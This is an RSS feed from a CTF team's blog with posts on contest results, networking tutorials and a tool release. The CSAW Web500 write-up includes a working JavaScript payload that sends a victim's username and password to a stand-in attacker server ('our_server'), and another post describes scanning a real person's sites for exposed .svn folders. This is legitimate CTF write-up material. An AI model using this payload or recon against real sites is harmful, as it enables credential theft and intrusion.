<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CISSP Groupies</title>
	<atom:link href="http://cissp.gr.oupi.es/feed/" rel="self" type="application/rss+xml" />
	<link>http://cissp.gr.oupi.es</link>
	<description>Montréal computer security sect</description>
	<lastBuildDate>Sun, 29 Jan 2012 19:44:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Mozilla CTF 2012</title>
		<link>http://cissp.gr.oupi.es/2012/01/26/mozilla-ctf-2012/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=mozilla-ctf-2012</link>
		<comments>http://cissp.gr.oupi.es/2012/01/26/mozilla-ctf-2012/#comments</comments>
		<pubDate>Thu, 26 Jan 2012 18:35:24 +0000</pubDate>
		<dc:creator>dgoulet</dc:creator>
				<category><![CDATA[CTF]]></category>

		<guid isPermaLink="false">http://cissp.gr.oupi.es/?p=109</guid>
		<description><![CDATA[Hi people! Again, we had a great time at Foulab for the first edition of the Mozilla CTF. Our long time rival were there, the great beloved PPP :) &#8230;. and they manage&#8230; again&#8230; to finish just ahead of us &#8230;<p class="read-more"><a href="http://cissp.gr.oupi.es/2012/01/26/mozilla-ctf-2012/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<p>Hi people!</p>
<p>Again, we had a great time at <a href="http://foulab.org">Foulab</a> for the first edition of the Mozilla CTF. Our long time rival were there, the great beloved <a href="http://ppp.cylab.cmu.edu/">PPP</a> :) &#8230;. and they manage&#8230; again&#8230; to finish just ahead of us at the last minute. Anyhow, this was great even with the unstable Spark web server but in the end, we had a blast!</p>
<p>Did not have time to screen shot the scoreboard! But still, a wonderful position:</p>
<p><a href="http://cissp.gr.oupi.es/wp-content/uploads/2012/01/mozillactf2012.png"><img class="size-medium wp-image-130 aligncenter" title="mozillactf2012" src="http://cissp.gr.oupi.es/wp-content/uploads/2012/01/mozillactf2012-300x96.png" alt="" width="300" height="96" /></a>Cheers!</p>
]]></content:encoded>
			<wfw:commentRss>http://cissp.gr.oupi.es/2012/01/26/mozilla-ctf-2012/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iCTF 2011</title>
		<link>http://cissp.gr.oupi.es/2011/12/08/ictf-2011/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ictf-2011</link>
		<comments>http://cissp.gr.oupi.es/2011/12/08/ictf-2011/#comments</comments>
		<pubDate>Thu, 08 Dec 2011 17:52:02 +0000</pubDate>
		<dc:creator>dgoulet</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://cissp.gr.oupi.es/?p=105</guid>
		<description><![CDATA[Hello folks, Quick post to *show off* our 5th position @ictf2011 :P. Good job to the Groupies who made that happened !!! It was a lot of fun. PPP&#8230; again&#8230; best us but we will fight back! :)]]></description>
			<content:encoded><![CDATA[<p>Hello folks,</p>
<p>Quick post to <strong>*show off*</strong> our 5th position @ictf2011 :P.</p>
<p>Good job to the Groupies who made that happened !!! It was a lot of fun. PPP&#8230; again&#8230; best us but we will fight back! :)</p>
<p><a href="http://cissp.gr.oupi.es/wp-content/uploads/2011/12/score-ictf2011.png"><img class="size-medium wp-image-104 aligncenter" title="score-ictf2011" src="http://cissp.gr.oupi.es/wp-content/uploads/2011/12/score-ictf2011-300x98.png" alt="" width="300" height="98" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://cissp.gr.oupi.es/2011/12/08/ictf-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSAW CTF Write-up : Web500 (CrackJack)</title>
		<link>http://cissp.gr.oupi.es/2011/10/20/csaw-ctf-write-up-web500-crackjack/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=csaw-ctf-write-up-web500-crackjack</link>
		<comments>http://cissp.gr.oupi.es/2011/10/20/csaw-ctf-write-up-web500-crackjack/#comments</comments>
		<pubDate>Thu, 20 Oct 2011 21:36:18 +0000</pubDate>
		<dc:creator>marc-etienne</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Write-up]]></category>

		<guid isPermaLink="false">http://www.cisspgroupies.org/?p=93</guid>
		<description><![CDATA[Better late than never. The solution If you check the site’s use of AJAX, you will find an interesting url sending back the plain text password at http://csawstf.poly.edu:40004/challenge2/json/getcurrent.js. This page returns something like this : var current = {"access":"1","username":"haxor","password":"abc123"} The &#8230;<p class="read-more"><a href="http://cissp.gr.oupi.es/2011/10/20/csaw-ctf-write-up-web500-crackjack/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<p>Better late than never.</p>
<h2 id="the_solution">The solution</h2>
<p>If you check the site’s use of AJAX, you will find an interesting url sending back the plain text password at <code>http://csawstf.poly.edu:40004/challenge2/json/getcurrent.js</code>. This page returns something like this :</p>
<pre>var current = {"access":"1","username":"haxor","password":"abc123"}</pre>
<p>The contact page showed clues that you can send an url to the webmaster that he/it will click on. The field had the “Your message or website” label and the page included warning saying “Just don’t send me anything that might get me hacked!”. Right. Let&#8217;s do just that. We sent a url and got a hit from their end couple minutes later.</p>
<pre>128.238.66.100 - - [25/Sep/2011:20:02:15 +0400] "GET /csaw HTTP/1.1" 404 263 "-" "Mozilla/5.0 (compatible; Konqueror/4.6; Linux) KHTML/4.6.2 (like Gecko) Kubuntu"</pre>
<p>Can we get this guy/robot to execute javascript? The answer is yes. We are lucky, the script puts the javascript object inside the <code>window.current</code> variable.</p>
<p>Our first attempt was to include the <code>getcurrent.js</code> with the following url <code>http://csawstf.poly.edu:40004/challenge2/json/getcurrent.js</code> but this failed probably because <code>csawstf.poly.edu</code> resolve to an internal IP address on their end and NAT translation failed from inside. The admin instead use the private IP (192.168.4.4, later gave as an hint on the mailling list) or the public IP directly. From inside, these two addresses gave the admin account password :</p>
<ul>
<li><code>http://128.238.66.100:40004/challenge2/json/getcurrent.js</code></li>
<li><code>http://192.168.4.4/challenge2/json/getcurrent.js</code></li>
</ul>
<p>We sent and http url to the following html file :</p>
<pre>&lt;html&gt;
&lt;head&gt;
  &lt;meta http-equiv="Content-type" content="text/html; charset=utf-8"&gt;
  &lt;title&gt;My Page&lt;/title&gt;
  &lt;script src="http://128.238.66.100:40004/challenge2/json/getcurrent.js"&gt;&lt;/script&gt;
  &lt;script src="http://our_server/payload.js"&gt;&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
  Lots of pictures of cats...
&lt;/body&gt;
&lt;/html&gt;</pre>
<p>With this Javascript :</p>
<pre>// payload.js
var xmlhttp=new XMLHttpRequest();
if(typeof(current) != "undefined") {
  xmlhttp.open("GET","http://our_server/csaw?" + current.username + "--" + current.password + "--" + current.access, true);
}
else {
  xmlhttp.open("GET","http://our_server/csaw?missed",true);
}
xmlhttp.send();</pre>
<p>Got us this in our log :</p>
<pre>128.238.66.100 - - [25/Sep/2011:20:20:35 +0400] "GET /csaw?administrator--2d8a579d4d4bbd98399f47df0d6c8fd0be22e3a8--1000" HTTP/1.1" 404 263 "-" "Mozilla/5.0 (compatible; Konqueror/4.6; Linux) KHTML/4.6.2 (like Gecko) Kubuntu"</pre>
<p>We logged in with <code>administrator</code> and <code>2d8a579d4d4bbd98399f47df0d6c8fd0be22e3a8</code> as the password and got the key on the main page.</p>
<h2 id="things_that_didn8217t_work">Things that didn’t work</h2>
<p>We tried sending <code>javascript:</code> url but it didn’t work. For example, <code>javascript:window.location="http://our_server/a"+"b"</code> has made a <code>http://our_server/a"+"b</code> hit in our log. They probably use a regex that begins with <code>http</code>.</p>
<p>For some reason, include the javascript inline the HTML didn’t work for us. But maybe we just had a syntax error.</p>
<p>Sending lots of picture of cats didn’t help. Animated gif was not the solution.</p>
<p>Saturday night and sunday morning, the queue to get our link visited was very long. Once the link was sent, it took up between 30 minutes and an hour to get a hit back. Whoever filled the queue, that wasn’t nice.</p>
<h2 id="the_extras">The extras</h2>
<p>The source code was available at <code>http://csawctf.poly.edu:40004/challenge2/dev</code>. <a title="PHP Source" href="http://www.cisspgroupies.org/wp-content/uploads/2011/10/web500_source.tar.gz">Here is a copy of the archive.</a> He found this using our favourite dead file scanner, <a href="https://github.com/initnull/tachyon">Tachyon</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://cissp.gr.oupi.es/2011/10/20/csaw-ctf-write-up-web500-crackjack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSAW CTF Writeup: Dino Dai Zovi&#8217;s recon</title>
		<link>http://cissp.gr.oupi.es/2011/09/28/csaw-ctf-writeup-dino-dai-zovi-recon/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=csaw-ctf-writeup-dino-dai-zovi-recon</link>
		<comments>http://cissp.gr.oupi.es/2011/09/28/csaw-ctf-writeup-dino-dai-zovi-recon/#comments</comments>
		<pubDate>Wed, 28 Sep 2011 17:55:53 +0000</pubDate>
		<dc:creator>einstein</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.cisspgroupies.org/?p=75</guid>
		<description><![CDATA[In every CTF, there&#8217;s a challenge that takes entirely too much time to complete for no reason. For our team that challenge was the Recon track for Dino Dai Zovi. The solution was to look on twitter and search for &#8230;<p class="read-more"><a href="http://cissp.gr.oupi.es/2011/09/28/csaw-ctf-writeup-dino-dai-zovi-recon/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<p>In every CTF, there&#8217;s a challenge that takes entirely too much time to complete for no reason. For our team that challenge was the Recon track for Dino Dai Zovi.</p>
<p>The solution was to look on twitter and search for #csaw. Dino had posted <a href="http://twitter.com/#!/SecureTips/status/117277385665167360">a message</a> with the SecureTips account which he controls. The #outguess hashtag was a reference to <a href="http://www.outguess.org/">outguess.org</a>, and after we managed to compile stegdetect, we ran the image through a dictionnary, and we had the password a while later: gobbles. Boom. We can only assume it&#8217;s a reference to <a href="http://blackhats.com/img/intro001.png">this picture</a> from <a href="http://blackhats.com/">blackhats.com</a>.</p>
<p>This should have taken 20 minutes, but several people spent about a day and a half searching through all of Dino&#8217;s websites for the key. So to complement this small writeup, we decided to share some of the gems we found.</p>
<p>We ran <a href="https://github.com/initnull/tachyon">Tachyon</a> on his website, theta44.org. Some of the stuff on there is very interesting.</p>
<p>First, we have a .svn folder. Those are an amazing replacement for directory listing when it&#8217;s disabled.</p>
<pre>&lt;entry committed-rev="88" name="" committed-date="2008-08-17T21:06:56.987768Z" url="file:///var/svn/ddz/www/theta44.org" last-author="ddz" kind="dir" uuid="59e2e0df-2ce6-0310-a295-eeaa8d61d4f1" revision="88"/&gt;
&lt;entry committed-rev="18" name="defcon-2000.tar.gz" text-time="2004-12-10T19:01:50.000000Z" committed-date="2004-12-10T19:01:40.120438Z" checksum="551a6ef2afc712364ae6752fcaa06312" last-author="ddz" kind="file" prop-time="2004-12-10T19:01:49.000000Z"/&gt;
&lt;entry committed-rev="18" name="thttpd-ssi.txt" text-time="2004-12-10T19:01:50.000000Z" committed-date="2004-12-10T19:01:40.120438Z" checksum="8615c03c805231c208d3ef0e262596e8" last-author="ddz" kind="file" prop-time="2004-12-10T19:01:49.000000Z"/&gt;
&lt;entry committed-rev="70" name="old.html" text-time="2007-04-04T04:09:59.000000Z" committed-date="2007-04-03T04:01:39.132068Z" checksum="8cbc12be6f15ff46ec5a7d08ac42a76c" last-author="ddz" kind="file" prop-time="2007-04-04T04:09:59.000000Z"/&gt;</pre>
<p>Next we did a skipfish scan, and found a bunch more stuff. Like this statistics page under <a href="http://theta44.org/analog.html">http://theta44.org/analog.html</a> from december 2004 to september 2005. From it we learn that back in 2005 the most popular search term for Dino&#8217;s website was karma. Good for him, you never have enough of that!</p>
<pre>Successful requests: 35,884 (511)
Average successful requests per day: 126 (72)
Successful requests for pages: 8,425 (192)
Average successful requests for pages per day: 29 (27)
Failed requests: 10,869 (315)
Redirected requests: 321 (9)
Distinct files requested: 4,296 (72)
Distinct hosts served: 3,756 (120)
Corrupt logfile lines: 11
Data transferred: 3.24 gigabytes (45.05 megabytes)
Average data transferred per day: 11.69 megabytes (6.44 megabytes)</pre>
<p>And skipfish also found that guy&#8217;s <a href="http://www.theta44.org/photos/200504%20-%20Trek%20@%20Coyote%20Ugly/200504%20-%20Trek%20@%20Coyote%20Ugly.html">party pictures</a>.</p>
<p><a href="http://www.cisspgroupies.org/wp-content/uploads/2011/09/0.jpg"><img class="alignnone size-medium wp-image-76" title="" src="http://www.cisspgroupies.org/wp-content/uploads/2011/09/0-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p>I lol&#8217;d too :p</p>
<p>Next we moved to his blog, <a href="http://trailofbits.com/">trailofbits.com</a> and noticed there was a .svn folder too. Except this time we can&#8217;t access it, amazon&#8217;s server config won&#8217;t let us. Bad amazon, bad.</p>
<p>After some googling we also found that Dino had another nickname, once upon a time. Some of his old exploits hosted on theta44.org still mention it, <a href="http://www.theta44.org/shellcode/sparc-execve.h">like this one</a>. And from that nickname we got to his old website, <a href="http://www.dopesquad.net/">dopesquad.net</a>, a true diamond from a time where animated GIFs were king. The fun thing with that site is the conspicious CVS folder in the web root, just like the .svn folders on the newer sites. Old habits die hard :)</p>
<p>That was fun!</p>
]]></content:encoded>
			<wfw:commentRss>http://cissp.gr.oupi.es/2011/09/28/csaw-ctf-writeup-dino-dai-zovi-recon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CTF CSAW 2011</title>
		<link>http://cissp.gr.oupi.es/2011/09/26/ctf-csaw-2011/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ctf-csaw-2011</link>
		<comments>http://cissp.gr.oupi.es/2011/09/26/ctf-csaw-2011/#comments</comments>
		<pubDate>Mon, 26 Sep 2011 16:52:55 +0000</pubDate>
		<dc:creator>dgoulet</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.cisspgroupies.org/?p=64</guid>
		<description><![CDATA[So, our team gather up again at Foulab in Montreal to compete in the CTF CSAW contest. Here&#8217;s a link to CSAW 2011 archive: http://capture.thefl.ag/2011/CSAW-quals/ After 48h of hacking, junk food, beer and Tanqueray, we ended up completing all challenges &#8230;<p class="read-more"><a href="http://cissp.gr.oupi.es/2011/09/26/ctf-csaw-2011/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<p>So, our team gather up again at <a href="http://foulab.org">Foulab</a> in Montreal to compete in the <a href="http://www.poly.edu/csaw2011/">CTF CSAW</a> contest.</p>
<p>Here&#8217;s a link to CSAW 2011 archive: <a href="http://capture.thefl.ag/2011/CSAW-quals/">http://capture.thefl.ag/2011/CSAW-quals/</a></p>
<p>After 48h of hacking, junk food, beer and Tanqueray, we ended up completing all challenges with 9500 points total being the fifth team with that score. We also had those extra points afterward:</p>
<address>CISSP Groupies +10 points for submitting a team photo album<br />
CISSP Groupies +10 points for having Dino Dai Zovi look-a-like<br />
CISSP Groupies +10 points for owning our exploitation servers and letting us know about it</address>
<address> </address>
<p>Pretty good position (5) for the Groupies and we are quite happy! :)</p>
<div id="attachment_68" class="wp-caption alignnone" style="width: 310px"><a href="http://www.cisspgroupies.org/wp-content/uploads/2011/09/score.png"><img class="size-medium wp-image-68" title="score" src="http://www.cisspgroupies.org/wp-content/uploads/2011/09/score-300x74.png" alt="" width="300" height="74" /></a><p class="wp-caption-text">CSAW 2011 - Top 6 scoreboard</p></div>
<p>Check out some pictures of the event. Write ups will be coming later on.</p>
<p><a href="http://imgur.com/a/e7kQX#Zf7ec">http://imgur.com/a/e7kQX#Zf7ec</a></p>
<p>Now, we are all warmed up for the upcoming iCTF 2011 :P</p>
]]></content:encoded>
			<wfw:commentRss>http://cissp.gr.oupi.es/2011/09/26/ctf-csaw-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Here&#8217;s what really happened at RSA</title>
		<link>http://cissp.gr.oupi.es/2011/09/14/heres-what-really-happened-at-rsa/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=heres-what-really-happened-at-rsa</link>
		<comments>http://cissp.gr.oupi.es/2011/09/14/heres-what-really-happened-at-rsa/#comments</comments>
		<pubDate>Thu, 15 Sep 2011 03:55:12 +0000</pubDate>
		<dc:creator>Olivier Bilodeau</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.cisspgroupies.org/?p=60</guid>
		<description><![CDATA[Cross posted from bottomlesspit.org. Note: Nothing in here is based on actual evidence. This is just an exercise for fun. As I write this, everyone is getting their RSA tokens replaced. They think they are getting new ones because their &#8230;<p class="read-more"><a href="http://cissp.gr.oupi.es/2011/09/14/heres-what-really-happened-at-rsa/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<p><em>Cross posted from <a href="http://www.bottomlesspit.org/2011/09/14/here-s-what-really-happened-at-rsa">bottomlesspit.org</a>.</em></p>
<p><em>Note: Nothing in here is based on actual evidence. This is just an exercise for fun.</em></p>
<p>As I write this, everyone is getting their RSA tokens replaced. They think they are getting new ones because their old ones were compromised but what if things are not exactly as they look?</p>
<p>Here&#8217;s what happened: RSA was *not* keeping their seeds for the tokens. Because, after all, they didn&#8217;t need the seeds. Once the token&#8217;s seed database was delivered to their customers, they diligently deleted the seeds they had. It was the most secure thing they could do.</p>
<p>Sometime later, the NSA[1] knocked at their door saying: &#8220;We would like to have all the seeds for your tokens in exchange for a sh*tload of money. You see our old usual win32 0-days aren&#8217;t cutting it anymore.. With the seeds we would be in way better shape to attack the people who are a _threat_ to our nation.&#8221;</p>
<p>RSA replied: No but not because we don&#8217;t want to, because we can&#8217;t.. We never kept them, the most secure thing we could do for our customers was not to keep them.</p>
<p>Then it got into an RSA sales guy and/or C-level manager&#8217;s ear. They mandated their best technical people to it and they came up with a plan:</p>
<p>&#8220;Let&#8217;s do a big &#8216;we got owned&#8217; fiasco story and tell all of our customers that we need to give them new tokens because the old ones aren&#8217;t safe anymore. But this time, we keep the seeds!&#8221;</p>
<p>NSA is happy. RSA is happy. USA is happy.</p>
<p>And of course, this is not what really happened.</p>
<p>[1] RSA, NSA only one letter difference.. ;)</p>
]]></content:encoded>
			<wfw:commentRss>http://cissp.gr.oupi.es/2011/09/14/heres-what-really-happened-at-rsa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DNS query over SSH tunnel</title>
		<link>http://cissp.gr.oupi.es/2011/08/21/dns-query-over-ssh-tunnel/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=dns-query-over-ssh-tunnel</link>
		<comments>http://cissp.gr.oupi.es/2011/08/21/dns-query-over-ssh-tunnel/#comments</comments>
		<pubDate>Sun, 21 Aug 2011 21:19:15 +0000</pubDate>
		<dc:creator>dgoulet</dc:creator>
				<category><![CDATA[Network]]></category>

		<guid isPermaLink="false">http://www.cisspgroupies.org/?p=38</guid>
		<description><![CDATA[I&#8217;ll explain here how to redirect every DNS query your Linux system does through an SSH tunnel. I&#8217;ll be using this *wonderful* tool to make that trick: socat (http://www.dest-unreach.org/socat/) $ sudo apt-get install socat Screw yum and &#8230; worst! pacman &#8230;<p class="read-more"><a href="http://cissp.gr.oupi.es/2011/08/21/dns-query-over-ssh-tunnel/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ll explain here how to redirect every DNS query your Linux system does through an SSH tunnel. I&#8217;ll be using this *wonderful* tool to make that trick:</p>
<ul>
<li>socat (<a href="http://www.dest-unreach.org/socat/">http://www.dest-unreach.org/socat/)</a></li>
</ul>
<pre>$ sudo apt-get install socat</pre>
<p>Screw yum and &#8230; worst! pacman :P (hw :*)</p>
<p>You&#8217;ll need an endpoint (<strong>server side</strong>) where your DNS queries will be rerouted. This will be the SSH tunnel endpoint. Now, how to do it:</p>
<h5>Client Side</h5>
<p>Start this command in the background. You can either use an init script or /etc/rc.local or whatever mechanism you like.</p>
<pre>$ sudo socat udp-recvfrom:53,reuseaddr,bind=127.0.0.1,fork tcp:127.0.0.1:5377</pre>
<p>So, we create an UDP socket on 127.0.0.1:53 (this is why you need root access), magically transform all traffic to TCP and sending it to 127.0.0.1:5377. This port (5377) can be whatever you want over 1024. It&#8217;s the local port of your SSH tunnel. Easy, UDP-&gt;TCP with a one liner :).</p>
<p>Then, start your SSH tunnel (<strong>-f -N</strong> makes SSH go to background and not execute remote command):</p>
<pre>$ ssh -f -N -L 5377:localhost:5377 &lt;server_addr&gt;</pre>
<h5>Server Side</h5>
<p>On your remote endpoint, simply redirect the TCP packet to a normal UDP datagram that will be sent to a DNS server:</p>
<pre>$ sudo socat tcp4-listen:5377,reuseaddr,fork,backlog=50,bind=127.0.0.1 UDP:8.8.8.8:53</pre>
<p>The example above is redirecting it to the famous Google DNS at 8.8.8.8. Feel free to use whatever DNS server you want.</p>
<p>The <strong>backlog=50</strong> option is the size of listen(2) queue. Here 50. When you have thunderbird starting with 6 RSS feeds and 7 email accounts, trust me, there is a LOT of DNS queries sent through this tunnel.</p>
<p>Finally, change your <strong>/etc/resolv.conf</strong>. Put <strong><em>nameserver 127.0.0.1</em></strong></p>
<p>Voilà!</p>
<h5>Linux DNS query over TCP</h5>
<p>I made a bit of research on how to make a Linux box use TCP instead of UDP for DNS resolution. The <strong>res_init()</strong> function (see resolver(5)) is part of the <strong>libc resolv</strong> component and reads the configuration file resolv.conf(5) to get default domain name, search order, name server address(es) and various options.</p>
<p>With the <strong>libc 2.14+</strong>, the RES_USEVC option support is added to res_init(). Just add <strong>options use-vc</strong> to the resolv.conf(5) file and TCP will be used by default for the entire system.</p>
<p>From there, it&#8217;s easier to reroute DNS traffic.</p>
<pre>$ sudo ssh -f -N -L 53:8.8.8.8:53 &lt;server_addr&gt;</pre>
<p>Cheers!</p>
<p>FIN<br />
David</p>
]]></content:encoded>
			<wfw:commentRss>http://cissp.gr.oupi.es/2011/08/21/dns-query-over-ssh-tunnel/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CCC media &#8211; Camp 2011</title>
		<link>http://cissp.gr.oupi.es/2011/08/17/ccc-media-camp-2011/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ccc-media-camp-2011</link>
		<comments>http://cissp.gr.oupi.es/2011/08/17/ccc-media-camp-2011/#comments</comments>
		<pubDate>Wed, 17 Aug 2011 15:31:35 +0000</pubDate>
		<dc:creator>dgoulet</dc:creator>
				<category><![CDATA[Conferences]]></category>

		<guid isPermaLink="false">http://www.cisspgroupies.org/?p=26</guid>
		<description><![CDATA[CCC is now over for 2011. Lectures recordings were posted online at: http://media.ccc.de/browse/conferences/camp2011/ Here&#8217;s a link to Dan Kaminsky&#8217;s talk. &#8220;Rien pour faire sauter une braguette, mais très divertissant&#8221; Black Ops of TCP/IP &#8211; Dan Kaminsky FIN David]]></description>
			<content:encoded><![CDATA[<p>CCC is now over for 2011. Lectures recordings were posted online at:</p>
<p><a title="CCC 2011 media" href="http://media.ccc.de/browse/conferences/camp2011/">http://media.ccc.de/browse/conferences/camp2011/</a></p>
<p>Here&#8217;s a link to Dan Kaminsky&#8217;s talk. <em>&#8220;Rien pour faire sauter une braguette, mais très divertissant&#8221;</em></p>
<p><a href="http://media.ccc.de/ftp/events/camp2011/video/cccamp11-4555-black_ops_of_tcpip_2011-en.webm">Black Ops of TCP/IP &#8211; Dan Kaminsky</a></p>
<p>FIN</p>
<p>David</p>
]]></content:encoded>
			<wfw:commentRss>http://cissp.gr.oupi.es/2011/08/17/ccc-media-camp-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://media.ccc.de/ftp/events/camp2011/video/cccamp11-4555-black_ops_of_tcpip_2011-en.webm" length="1101603872" type="video/webm" />
		</item>
		<item>
		<title>Tool Release &#8211; Tachyon</title>
		<link>http://cissp.gr.oupi.es/2011/08/15/tool-release-tachyon/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=tool-release-tachyon</link>
		<comments>http://cissp.gr.oupi.es/2011/08/15/tool-release-tachyon/#comments</comments>
		<pubDate>Mon, 15 Aug 2011 19:05:18 +0000</pubDate>
		<dc:creator>initnull</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.cisspgroupies.org/?p=22</guid>
		<description><![CDATA[Being fed up of manually checking target hosts for &#8220;forgotten files&#8221;, I decided to put up a small tool that would be very fast and dedicated only to this task. Tachyon is a Fast Multi-Threaded Web Discovery Tool written in &#8230;<p class="read-more"><a href="http://cissp.gr.oupi.es/2011/08/15/tool-release-tachyon/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<p>Being fed up of manually checking target hosts for &#8220;forgotten files&#8221;, I decided to put up a small tool that would be very fast and dedicated only to this task.</p>
<p>Tachyon is a Fast Multi-Threaded Web Discovery Tool written in python that provides:</p>
<blockquote><p>- Plugins support<br />
- SSL support<br />
- Tor support (trough privoxy) (TODO)<br />
- Robots.txt support<br />
- Common directory lookup<br />
- Fast Multi-Threaded execution</p></blockquote>
<p>The Tor support is still not working but it shouldn&#8217;t take too much time before it&#8217;s added.</p>
<p>Feel free to contribute and add your own targets:</p>
<p><a title="Tachyon homepage" href="https://github.com/initnull/tachyon">https://github.com/initnull/tachyon</a></p>
]]></content:encoded>
			<wfw:commentRss>http://cissp.gr.oupi.es/2011/08/15/tool-release-tachyon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>irssi over Tor</title>
		<link>http://cissp.gr.oupi.es/2011/07/28/irssi-over-tor/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=irssi-over-tor</link>
		<comments>http://cissp.gr.oupi.es/2011/07/28/irssi-over-tor/#comments</comments>
		<pubDate>Thu, 28 Jul 2011 19:26:05 +0000</pubDate>
		<dc:creator>dgoulet</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.cisspgroupies.org/?p=9</guid>
		<description><![CDATA[This is a simple tutorial on how to use irssi over the tor network. Reference: https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/IrcSilc Install tor and run it with default configuration. Some server requires SASL authentication like Freenode. Follow these steps below to make it work: $ &#8230;<p class="read-more"><a href="http://cissp.gr.oupi.es/2011/07/28/irssi-over-tor/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<p>This is a simple tutorial on how to use <strong>irssi</strong> over the tor network.</p>
<p>Reference: <a href="http://https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/IrcSilc">https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/IrcSilc</a></p>
<p>Install <strong>tor</strong> and run it with default configuration. Some server requires <strong>SASL</strong> authentication like Freenode. Follow these steps below to make it work:</p>
<pre>$ sudo apt-get install libcrypt-blowfish-perl libcrypt-dh-perl libcrypt-openssl-bignum-perl torsocks
$ mkdir -p ~/.irssi/scripts/autorun
$ cd ~/.irssi/scripts/
$ wget http://freenode.net/sasl/cap_sasl.pl
$ cd autorun
$ ln -s ../cap_sasl.pl</pre>
<p>Alright, now just run:</p>
<pre>$ usewithtor irssi<strong></strong></pre>
<p>If everything went well, you should see at the top:<strong></strong></p>
<p><strong>Irssi: SASL: auth loaded from /home/&#8230;/.irssi/sasl.auth</strong></p>
<p>Run these commands now to set up SASL authentication for freenode:</p>
<pre>/sasl set freenode-tor &lt;USERNAME&gt; &lt;PASSWORD&gt; DH-BLOWFISH
/sasl save
/sasl load
<strong></strong></pre>
<p>Now add the freenode server:</p>
<pre>/NETWORK ADD freenode-tor
/SERVER ADD -network freenode-tor -port 6667 p4fsi4ockecnea7l.onion</pre>
<p>Minimize information leakage (recommended by the tor Website):</p>
<pre>/IGNORE * CTCPS</pre>
<p>Finally, save your configuration and restart irssi:</p>
<pre>/SAVE
$ usewithtor irssi
/CONNECT freenode-tor</pre>
]]></content:encoded>
			<wfw:commentRss>http://cissp.gr.oupi.es/2011/07/28/irssi-over-tor/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

